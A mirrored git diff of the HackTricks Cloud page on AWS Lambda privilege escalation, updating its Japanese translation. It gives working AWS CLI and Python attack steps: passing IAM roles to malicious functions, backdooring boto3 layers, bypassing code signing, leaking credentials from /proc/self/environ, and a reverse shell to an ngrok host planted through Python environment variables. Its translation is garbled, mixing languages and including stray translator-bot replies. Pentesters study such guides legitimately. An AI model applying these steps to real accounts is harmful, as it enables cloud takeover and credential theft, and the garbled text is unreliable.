mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-05 09:17:24 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
More info about lambda in:
|
||||
lambda に関する詳細情報は:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@ More info about lambda in:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** の権限を持つユーザーは権限昇格が可能です。\
|
||||
新しい Lambda function を作成して既存の IAM role を割り当てることで、その role に紐づく権限を関数に付与できます。ユーザーはその Lambda function にコードを書き込みアップロードし(例: rev shell)、\
|
||||
関数が設定されると AWS API 経由で Lambda function を呼び出して実行させ、目的の操作を実行できます。この方法により、ユーザーは関連付けられた IAM role に与えられた権限レベルで、Lambda function を通じて間接的に操作を行えます。\\
|
||||
これらの **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 権限を持つユーザーは権限を昇格できます。\
|
||||
彼らは **新しい Lambda function を作成し既存の IAM role を割り当てる** ことで、そのロールに紐づく権限を関数に付与できます。ユーザーはその後 **この Lambda function にコードを書きアップロードする(例:rev shell)** ことができます。\
|
||||
関数がセットアップされると、ユーザーは AWS API 経由で Lambda function を呼び出して、**実行をトリガー**し意図した操作を行わせることができます。この手法により、ユーザーは Lambda function を介して間接的に操作を実行でき、その関数に紐づく IAM role に付与されたアクセスレベルで動作します。\\
|
||||
|
||||
攻撃者はこれを悪用して **rev shell を取得し token を盗む**:
|
||||
A attacker could abuse this to get a **rev shell and steal the token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
また、lambda function 自身から **lambda role permissions を悪用する** こともできます。\
|
||||
lambda role に十分な権限があれば、それを使って自分に管理者権限を付与することができます:
|
||||
lambda function自体から、**abuse the lambda role permissions**することもできます.\
|
||||
もしlambda roleに十分な権限があれば、それを使って自分にadmin rightsを付与することができます:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,11 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
外部接続を必要とせずに lambda's role credentials を leak することも可能です。
|
||||
|
||||
これは内部タスクで使用される **Network isolated Lambdas** に対して有用です。
|
||||
|
||||
不明な security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
|
||||
外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に役立ちます。不明な security groups によって reverse shells がフィルタされている場合、このコードにより lambda の出力として credentials を直接 leak できます。
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -76,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Potential Impact:** 指定された任意の lambda サービスロールへの直接的な privesc。
|
||||
**Potential Impact:** 指定された任意の lambda サービスロールへの直接 privesc。
|
||||
|
||||
> [!CAUTION]
|
||||
> 一見興味深く見えても、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async` を実行することを許可しません**。`lambda:InvokeFunction` も必要です
|
||||
> たとえ興味深く見えても **`lambda:InvokeAsync`** **だけでは** **`aws lambda invoke-async` を実行する**ことはできず、`lambda:InvokeFunction` も必要です。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
前のシナリオと同様に、`lambda:AddPermission` の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与できます。
|
||||
前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction` の権限を付与することができます**。
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**潜在的影響:** 指定された任意の Lambda サービスロールへの直接的な privesc。
|
||||
**潜在的な影響:** 指定された任意の lambda サービスロールへの直接的な privesc.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` の権限(および場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable`)を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
|
||||
悪意あるコードを含む **Lambda function を作成し既存の IAM role を割り当てる** ことが可能です。
|
||||
`**`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** の権限(および場合によっては `dynamodb:PutItem` と `dynamodb:CreateTable`)を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます.\\
|
||||
彼らは、悪意のあるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。
|
||||
|
||||
Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを設定または利用し、それを event source mapping を通して Lambda に紐付けます。この構成により、テーブルに新しいアイテムが追加されると(ユーザーの操作か別プロセスによるかにかかわらず)Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる** ようになり、結果として間接的に Lambda function が呼び出され、渡された IAM role の権限でコードが実行されます。
|
||||
ユーザーは Lambda を直接呼び出す代わりに、既存の DynamoDB テーブルをセットアップまたは利用し、それを event source mapping を通じて Lambda に紐付けます。こうすることで、Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる**(ユーザーの操作または他のプロセスによる)ため、Lambda を間接的に呼び出して、渡された IAM role の権限でコードが実行されます。
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
DynamoDB が既に AWS 環境で有効になっている場合、ユーザーは Lambda 関数のために **イベントソースマッピングを確立するだけでよい**。しかし、DynamoDB が使用されていない場合、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する必要がある**:
|
||||
もし AWS 環境ですでに DynamoDB が有効であれば、ユーザーは Lambda 関数のために **event source mapping を設定するだけでよい**。しかし、DynamoDB が使われていない場合は、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する** 必要がある:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -111,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
これで**Lambda functionをDynamoDB tableに接続する**ために、**event source mappingを作成する**ことができます:
|
||||
これで、**connect the Lambda function to the DynamoDB table**を**creating an event source mapping**によって接続できます:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Lambda 関数が DynamoDB stream にリンクされている場合、攻撃者は **DynamoDB stream を有効化して Lambda を間接的にトリガーする** ことができます。これは **DynamoDB table にアイテムを挿入する** ことで達成できます:
|
||||
Lambda functionがDynamoDB streamにリンクされている場合、attackerは**DynamoDB streamを有効化することで間接的にLambdaをトリガーできます**。これはDynamoDB tableに**アイテムを挿入すること**で実行できます:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**潜在的な影響:** 指定された lambda サービスロールへの直接的な privesc。
|
||||
**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
この権限を持つ攻撃者は **自分自身(または他者)に任意の権限を付与することができる**(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成する):
|
||||
この権限を持つ攻撃者は、**自身(または他者)に任意の権限を付与することができる**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与する):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -134,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**潜在的影響:** コードを変更して実行する権限を付与することで、使用されている lambda の service role への直接的な privesc。
|
||||
**潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambdaサービスロールへの直接的なprivescが可能になる。
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
この権限を持つ攻撃者は、**自分自身(または他者)に `lambda:GetLayerVersion` の権限を付与することができます**。レイヤーにアクセスし、脆弱性や機密情報を調査する可能性があります。
|
||||
この権限を持つ攻撃者は **自分自身(または他者)に権限 `lambda:GetLayerVersion` を付与できる**。レイヤーにアクセスして、脆弱性や機密情報を探すことができる。
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Potential Impact:** 機密情報へのアクセスの可能性があります。
|
||||
**Potential Impact:** 機密情報へのアクセスの可能性。
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。**\
|
||||
攻撃者は **Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。**
|
||||
|
||||
攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働している場合は、既存のワークフローやイベントによってトリガーされる可能性が高く、結果として変更されたコードの実行が間接的に可能になります。
|
||||
攻撃者が関数を直接実行する権限を持っていない場合でも、Lambda 関数が既に存在し稼働中であれば、既存のワークフローやイベントを介してトリガーされる可能性が高く、結果として変更されたコードの実行を間接的に促進します。
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -161,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**潜在的な影響:** 使用されている lambda サービスロールへの直接的な privesc。
|
||||
**Potential Impact:** 使用されている lambda サービスロールへの直接的な privesc.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via env variables
|
||||
|
||||
この権限があれば、Lambda に任意のコードを実行させるような環境変数を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
|
||||
この権限があれば、Lambda を任意のコードを実行させるような environment variables を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
他のスクリプト言語では使用できる別の env variables があります。詳しくは以下の scripting languages のサブセクションを参照してください:
|
||||
他のスクリプト言語については、使用できる他の env 変数があります。詳細は次のスクリプト言語のサブセクションを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -179,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**code** を lamdba function に含められるようにしますが、**storing it separately** によって関数のコードを小さく保ち、**several functions can share code**。
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、lamdba function に **code** を含めることを可能にしますが、**storing it separately** することで関数のコードを小さく保て、**several functions can share code**。
|
||||
|
||||
lambda 内では、python code が読み込まれるパスを以下のような関数で確認できます:
|
||||
lambda の内部では、次のような関数で python code が読み込まれるパスを確認できます:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -206,74 +202,73 @@ For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position
|
||||
|
||||
#### Exploitation
|
||||
|
||||
権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しいレイヤーを追加する** ことが可能です。任意のコードを実行するために、このレイヤーには **lambda がインポートするライブラリ** が含まれている必要があります。lambda のコードを読めるなら、これを簡単に見つけられます。さらに、lambda が **すでにレイヤーを使用している** 場合があり、そのレイヤーを **ダウンロード** して **自分のコードを追加する** ことも可能です。
|
||||
`lambda:UpdateFunctionConfiguration` の権限を悪用して、lambda 関数に **add a new layer** することが可能です。任意のコードを実行するには、この layer に lambda が import するような何らかの **library** を含める必要があります。lambda のコードを読めれば簡単に見つけられますし、lambda が **already using a layer** の場合があり、その layer を **download** して、そこに **add your code** することもできます。
|
||||
|
||||
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます(例: 資格情報を exfiltrate する関数や reverse shell を取得する関数)。
|
||||
`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます(例: exfiltrate credentials を行う関数や reverse shell を取得する関数など)。
|
||||
|
||||
その後、`./lambda_layer` ディレクトリを zip 化して **新しい lambda layer を** 自分のアカウント(または被害者のアカウント)にアップロードします(被害者のアカウントに対する権限がない場合があります)。\
|
||||
/opt/python/boto3 を上書きするには python フォルダを作成してライブラリをそこに入れる必要があります。また、layer は Lambda が使用する **python version と互換性がある** 必要があり、自分のアカウントにアップロードする場合は **same region:** に配置する必要があります。
|
||||
その後、`./lambda_layer` ディレクトリを zip にして、**new lambda layer を自分のアカウントに upload**します(または被害者のアカウントにアップロードすることもできますが、権限がない場合があります)。\
|
||||
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
では、アップロードした lambda layer を **任意のアカウントからアクセス可能に** します:
|
||||
次に、アップロードした lambda layer を **任意のアカウントからアクセス可能にする**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
そして、lambda layer を被害者の lambda function にアタッチします:
|
||||
そして、lambda layer を victim lambda function にアタッチします:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
次のステップは、可能であれば自分で**関数を呼び出す**か、通常の方法でi**呼び出されるのを待つ**ことです — こちらの方が安全な方法です。
|
||||
次のステップは、可能であれば自分で**関数を呼び出す**か、通常の手段で**呼び出される**のを待つことです — こちらがより安全な方法です。
|
||||
|
||||
この脆弱性を**よりステルスに悪用する方法**は以下で確認できます:
|
||||
A **この脆弱性をよりステルスに悪用する方法**は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在的影響:** 使用されている lambda サービスロールへの直接的な privesc。
|
||||
**Potential Impact:** 使用されている lambda service role への Direct privesc。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
これらの権限があれば関数を作成してURLを呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、もし試せたら教えてください!
|
||||
これらの権限があれば、関数を作成して URL を呼び出して実行できるかもしれません…しかしテスト方法は見つけられなかったので、見つけたら教えてください!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
一部の lambdas はパラメータでユーザーから**機密情報を受け取る**ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーが送っている情報を exfiltrate できます。詳細は次を参照してください:
|
||||
一部の lambdas はパラメータでユーザーからの **機密情報を受け取っている** ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーがそれに送っている情報を外部に持ち出せます。詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Lambda Code Signing をバイパス
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
もし Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これにより、関数の IAM ロールやトリガーを変更することなく整合性保護を回避できます。
|
||||
Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これは関数の IAM role やトリガーを変更せずに整合性保護をバイパスします。
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notes:
|
||||
- Path B の場合、CSC ポリシーが `WARN` に設定されていれば AWS Signer プロファイルは不要です(未署名のアーティファクトが許可されます)。
|
||||
- Path B の場合、CSC ポリシーが `WARN`(unsigned artifacts allowed)に設定されていれば、AWS Signer プロファイルは不要です。
|
||||
|
||||
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
@@ -296,7 +291,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
パスB) Warn にダウングレードしてコードを更新する(削除が許可されていない場合):
|
||||
パス B) Warn にダウングレードしてコードを更新する(削除が許可されていない場合):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -307,15 +302,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
確認しましたが、翻訳するソース(README.md の内容)が提供されていません。該当ファイルのテキストを貼り付けてください。貼り付けていただければ、指定どおりマークダウン/HTML構文やリンク・コード・タグを保持したまま英→日翻訳します。
|
||||
確認しました。指定どおり、コード、タグ、リンク、パス、クラウド/SaaSプラットフォーム名、ハッキング用語などは翻訳せず、Markdown/HTML構文をそのまま維持して翻訳します。
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
潜在的な影響: signed deployments を強制することになっていた function に任意の unsigned code をプッシュして実行できる能力があり、結果として function role の permissions での code execution につながる可能性があります。
|
||||
潜在的な影響: 署名されたデプロイを強制するはずの関数に、任意の署名されていないコードをプッシュして実行できる可能性があり、結果として関数ロールの権限でコードが実行される恐れがある。
|
||||
|
||||
クリーンアップ:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user